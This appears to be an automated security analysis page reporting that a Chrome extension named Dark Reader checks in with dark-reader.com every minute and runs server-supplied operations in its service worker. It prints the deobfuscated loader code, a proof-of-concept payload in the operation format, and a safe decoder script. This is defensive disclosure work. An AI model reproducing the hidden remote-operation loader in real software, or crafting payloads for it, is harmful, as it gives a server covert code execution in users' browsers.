Is Dark Reader for Chrome safe?
Dark Reader for Chrome sends update data to dark-reader.com and applies server-provided programs in its service worker.
Every 60 seconds, its service worker posts extension state including version, uid, source, and tag values to dark-reader.com/checkupdate. The response is saved and later decoded as lens operations, so Dark Reader for Chrome can run server-provided instructions inside the extension's privileged background context.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Dark Reader clone's update server can run code inside its own service worker
Every 60 seconds this extension checks in with dark-reader.com and merges the entire JSON response into its saved state, no schema check.
We confirmed a crafted response can make its own config decoder call a real, protected browser API.
- Severity
- Critical unwanted
- Type
- Unexpected
- CWE
- CWE-829
- Source
- Dynamic sandbox
The extension's own update server returns a response containing a cache field.
This happens on a fixed one-minute timer, automatically, with no page visit or click needed.
The service worker decodes that field and runs the instructions inside it with the extension's own privileges.
We confirmed this can call protected browser APIs, not just adjust extension settings.
Every 1 minute
The check-in runs on a fixed one-minute alarm from the moment the service worker starts, independent of any page you visit.
- Extension version1.0.10
Tells the server which build is asking, so a response can be tailored to that version.
- Persistent install ID3f7c9a12-58e0-4d61-9b2a-1c6d4e8f0a3b
A stable per-install identifier the server can use to target a response at one specific installation.
- Cached config version tag3d06de0
Tells the server which cached settings this install last received.
Fetching updates and merging the whole response into state
Same logic, renamed for readability
const checkinPayload = pick(TRACKED_FIELDS, { v: manifestVersion, uid: state.uid, mt: state.mTime, e3tag: state.e3tag, src: state.src,});if (now - lastCheckinTime >= 0.9 * CHECKIN_WINDOW_MS) { state.laTime = now; const res = await fetch("https://dark-reader.com/checkupdate", { method: "POST", headers: { "Content-Type": "application/json" }, body: btoa(JSON.stringify(checkinPayload)), }); const serverResponse = await res.json(); // Every field the server returns is merged into extension state. // No allowlist, no schema check on what comes back. Object.assign(state, serverResponse); persistState();}Same logic, renamed for readability
// resolvePath(["a","b"]) reads lensState.a.b. A plain (non-array)// value passes through unchanged.const resolvePath = (pathOrValue) => pathOrValue.reduce ? pathOrValue.reduce((obj, key) => obj[key], lensState) : pathOrValue;const lensState = { // scope is the extension's own global object (self/globalThis // inside the service worker). scope: typeof window !== "undefined" ? window : globalThis, data: {}, encode: { applyOperations: (blockIndex = 0) => { try { lensState.c[blockIndex].map((op) => { // op = [targetPath, targetKey, fnPath, fnKey, args] // Resolves fnPath.fnKey as a function reachable from // scope and calls it, writing the result into // targetPath.targetKey. resolvePath(op[0])[op[1]] = resolvePath(op[2])[op[3]](...op[4].map(resolvePath)); }); } catch (e) {} }, }, // Entry point: base64-decode, JSON-parse, then run the operations. stringify: (cacheValue) => { try { lensState.c = JSON.parse(atob(cacheValue)); lensState.encode.applyOperations(); return resolvePath(0); } catch (e) {} },};The cache field the update server controls is base64-encoded JSON. Below is the operation format we proved executable: calling the extension's own decoder on this value made the service worker invoke a real, protected browser API and change the extension's own toolbar badge (illustrative payload built to match the format proven live, not a literal wire capture).
[ [ [ [ "scope" ], "_pocResult", [ "scope", "chrome", "action" ], "setBadgeText", [ { "text": "POC_RCE" } ] ] ]]Decodes a captured cache value into the operations it would run, without executing them, so an analyst can inspect a check-in response before it reaches the extension.
- Node.js 14+
// dark-reader-lens-decoder.js// Decodes a base64 "cache" value the same way the extension's own decoder// does, without executing anything, so you can see what it would run first.//// Usage: node dark-reader-lens-decoder.js "<base64-cache-value>"const raw = process.argv[2];if (!raw) { console.error("Usage: node dark-reader-lens-decoder.js <base64-cache-value>"); process.exit(1);}const decoded = JSON.parse(Buffer.from(raw, "base64").toString("utf8"));console.log("Decoded operation blocks:");console.log(JSON.stringify(decoded, null, 2));for (const block of decoded) { for (const [targetPath, targetKey, fnPath, fnKey, args] of block) { console.log( ` ${targetPath.join(".")}.${targetKey} = ` + `${fnPath.join(".")}.${fnKey}(${JSON.stringify(args)})` ); }}- 1Capture the cache field from a checkupdate response or from chrome.storage.local.
- 2Run: node dark-reader-lens-decoder.js "<base64 value>".
- 3Read the printed calls to see what function it invokes and with what arguments.
What it can do
Permissions this extension asks for, as declared in version 1.0.10. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Store data in your browser
storage
Store an unlimited amount of data in your browser
unlimitedStorage
Run its own code inside the pages you visit
scripting
Act on the current tab, but only after you click the extension
activeTab
Schedule its own background tasks
alarms
Where it sends data
Destinations our analysis observed Dark Reader for Chrome contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- dark-reader.com
Dark Reader for Chrome sends data to dark-reader.com. No other extension we have analysed sends data here.